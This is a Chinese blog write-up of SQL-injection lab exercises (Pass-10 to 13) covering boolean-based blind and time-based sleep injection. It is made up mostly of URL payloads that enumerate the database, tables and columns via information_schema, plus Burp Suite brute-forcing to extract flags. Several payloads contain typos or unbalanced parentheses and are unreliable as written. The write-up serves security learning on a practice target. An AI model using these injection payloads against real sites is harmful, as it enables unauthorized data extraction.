前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQL注入靶场Day3 布尔盲注&延时注入

SQL注入靶场Day3 布尔盲注&延时注入

作者头像
Baige
发布2022-03-21 14:26:01
1.1K0
发布2022-03-21 14:26:01
举报
文章被收录于专栏:世荣的博客

Pass-10 布尔盲注-1

10.1手工注入+BurpSuite

代码语言:javascript
复制
payload:?id=1 and 1=1  回显正常
payload:?id=1 and 1=2  报错

直接按流程走: 1.查数据库字段长度

代码语言:javascript
复制
?id=1 and length(database())>12  报错
?id=1 and length(database())>11  正常

得出数据库字符长度是12 2.查数据库名字

代码语言:javascript
复制
?id=1 and substr(database(),1,1)='k' 回显正常

接下来剩余11位不可能一个个挨着手动注入测试,这里配合Burp使用:

得到库名:kanwolongxia 3.查数据库下的第一张表的字段长度

代码语言:javascript
复制
?id=1 and length((select table_name from information_schema.tables where
table_schema='kanwolongxia' limit 0,1),1,1)=6   回显正常

得知表的字段数为6,现在继续Burp去挨个爆破: 先构造一个爆破字段的payload:

代码语言:javascript
复制
?id=1 and substr((select table_name from information_schema.tables where
table_schema='kanwolongxia' limit 0,1),1,1)='l'  回显正常

4.根据表名爆破出列名 先构造出payload找出列名的字段长度

代码语言:javascript
复制
id=1? and length((select cloumn_name from information_shcema.columns where
table_name='loflag' limit 0,1))=2  回显正常,字段名为:id
和第二个字段:
table_name='loflag' limit 1,1))=6  回显正常,字段名为:flaglo

5.根据二分法得到flag的长度

代码语言:javascript
复制
?id=1 and length((select flaglo from loflag limit 0,1))=8

再通过修改payload然后Burp抓包爆破得到flag

代码语言:javascript
复制
?id=1 and substr((select falglo from loflag limit 0,1),1,1)='z'

最终得到:zKaQ-QQQ

10.2Sqlmap注入

Sqlmap这个笨蛋,注入半天,愣是在我眼皮子低下把盲注测试过去了。

靶场:你礼貌吗????

我又是Burp抓包喂Request又是--technique B直接让给用布尔盲注方法,也可能是最近网太差了,李师傅决定还是直接手工注入吧。

Pass11 布尔盲注-2

1.查询数据库字段长度

代码语言:javascript
复制
?id=1 "and length(database())=12 -- qwe

数据库字符长度为12

通过Burp联合手工注入查询数据库字符

代码语言:javascript
复制
?id=1 "and substr(database(),1,1)='k' -- qwe 

得到数据库名字:kanwolongxia 2.查询表名字段的长度和具体数值

代码语言:javascript
复制
?id=1 "and length((select table_name from information_schema.tables where
table_schema='kanwolongxia' limit 0,1)) -- qwe

得到字符串的长度为6 构造payload,传入Burp爆破6个字符的具体值

代码语言:javascript
复制
?id=1 "and substr((select table_name from information_schema.tables where
table_name='kanwolongxia' limit 0,1),1,1)='l' -- qwe

得到表名:loflag 3.查询列名的字段数和具体数值

代码语言:javascript
复制
?id=1 "and length((select column_name from information_schema.columns where
table_schema='kanwolongxia' limit 1,1))=6 -- qwe
得到列名:flaglo

4.查询flag具体内容

代码语言:javascript
复制
?id=1 "and substr((select flaglo from loflag limit 0,1),1,1)='z' -- qwe 

通过Burp定点爆破得到:zKaQ-RD

Pass-12 布尔盲注-3

这道题有登陆的地方,submit以POST的方式传参

1.判断数据库字符串的字段和库名

代码语言:javascript
复制
?id=1 ' or 1=1 -- qwe
登录成功

这里丢进Burp进行定点爆破,先构造payload;

代码语言:javascript
复制
?id=1 ' or 1=1 and substr(database(),1,1)='k' -- qwe

爆破得到库名:kanwolongxia

2.判断表名和表名长度

代码语言:javascript
复制
?id=1 ' or 1=1 and length((select table_name from
information_schema.tables where table_schema='kanwolongxia' 
limit 0,1))=6 -- qwe

然后构造payload进行Burp爆破:

得到表名:loflag

3.判断列名长度和字段

代码语言:javascript
复制
?id=1 ' or 1=1 and length((select column_name from
information_schema.columns where table_name='loflag' 
limit 1,1))=6 -- qwe

然后构造用于Burp爆破的payload:

代码语言:javascript
复制
?id=1 ' or 1=1 and substr((select column_name from
information_schema.columns where table_name='loflag' 
limit 1,1),1,1)='f' -- qwe

4.查找内容的长度和长度

代码语言:javascript
复制
?id=1 ' or 1=1 and length((select flaglo from loflag 
limit 2,1))=10 -- qwe

然后通过构造substr的payload使用Burp爆破得到flag:

代码语言:javascript
复制
?id=1 ' or 1=1 and substr((select flaglo from loflag 
limit 2,1),1,1)='z' -- qwe

得到flag:zKaQ-Moren

Pass-13 延时注入-1

经过简单测试可知,该靶场为双引号闭合,这里直接构造语句。 1.测试数据库字段和字段长度

代码语言:javascript
复制
?id=1 " and if(length(database())=12,sleep(5),1)  -- qwe

得到数据库长度,构造payload进行爆破

代码语言:javascript
复制
?id=1 " and if(substr(database(),1,1)='k'),sleep(5),1) -- qwe

得到库名:kanwolongxia 2.测试数据库的表的字段名和字段长度

代码语言:javascript
复制
?id=1 " and if(length(select table_name from information_schema.
tables where table_schema=database() limit 0,1))=6,
sleep(5),1) -- qwe

得到表名字段长度为6,接下来进行构造payload去用Burp挨个爆破字符

代码语言:javascript
复制
?id=1 " and if(substr((select table_name from information_schema.
tables where table_name='kanwolongxia' limit 0,1),1,1)='l',
sleep(5),1) -- qwe

得到库名:loflag 3.测试数据库的字段的字段名和字段长度

代码语言:javascript
复制
?id=1 " and if(length(select column_name from information_
schema.columns where table_name='loflag' limit 1,1),1,1)=6 
sleep(5),1) -- qwe

得到字段数后,接下来进行构造payload去用Burp挨个爆破字符

代码语言:javascript
复制
?id=1 " and if(substr((select column_name from information_
schema.columns where table_name='loflag' limit 1,1),1,1)='f',
sleep(1),1) —- qwe

得到字段名:flaglo 4.测试内容的字段和字段数

代码语言:javascript
复制
?id=1  " and if(ascii(substr((select flaglo from loflag limit
3,1),1,1))=122,sleep(5),1) — qwe 

最后得到flag:zKaQ-time-hj

Pass13 延时注入-2

这道题有单引号和括号的闭合,这里过滤一下,其余照旧

1.测试数据库

数据库字符长度:

代码语言:javascript
复制
?id=1') and if(length(database())=12,sleep(5),1) -- qwe

数据库字符内容:

代码语言:javascript
复制
?id=1') and if(substr(database(),1,1)='k'),sleep(5),1) -- qwe

2.测试表

测试表的字符长度:

代码语言:javascript
复制
?id=1') and if(length(select table_name from information_schema
.tables where table_schema='kanwolongxia' limit 1,1)=6,
sleep(5),1) -- qwe

测试表的字符串内容:

代码语言:javascript
复制
?id=1') and if(substr((select table_name from information_schema
.tables where table_schema='kanwolongxia' limit 0,1),1,1)='l',
sleep(5),1) -- qwe

3.测试字段

测试字段的长度:

代码语言:javascript
复制
?id=1') and if(length(select column_name from information_schema
.columns where table_name='loflag' limit 1,1)=6,sleep(5),1)
-- qwe

测试字段的内容:

代码语言:javascript
复制
?id=1') and if(substr((select column_name from information_schema
.columns where table_name='loflag' limit 1,1),1,1)='f',sleep(5),1) 
-- qwe

4.测试具体内容

代码语言:javascript
复制
?id=1') and if(ascii(substr((select flaglo from loflag limit
3,1),1,1))=1,sleep(5),1) —- qwe

总结:

总体来说盲注的体验非常差,由于靶场对Burp和Sqlmap的限制导致了很多情况下难以跑出结果,只能靠自己对sql语句的一再审核有时候我以为我自己写错了于是乎一遍遍的改,但是其实并没有有时候我以为我自己写错了于是乎一遍遍的改,但是其实并没有,这一趟下来,盲注学到什么程度我不清楚,但是我算可以达到盲敲盲注了,布尔盲注就是或者不是,而延时注入就是不困是不是都比个耶。

最近有点忙,可能状态不太好,如果有错误,请及时指出。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022 年 03 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Pass-10 布尔盲注-1
    • 10.1手工注入+BurpSuite
      • 10.2Sqlmap注入
      • Pass11 布尔盲注-2
      • 数据库字符长度为12
      • Pass-12 布尔盲注-3
      • Pass-13 延时注入-1
      • Pass13 延时注入-2
      • 总结:
      相关产品与服务
      数据库
      云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档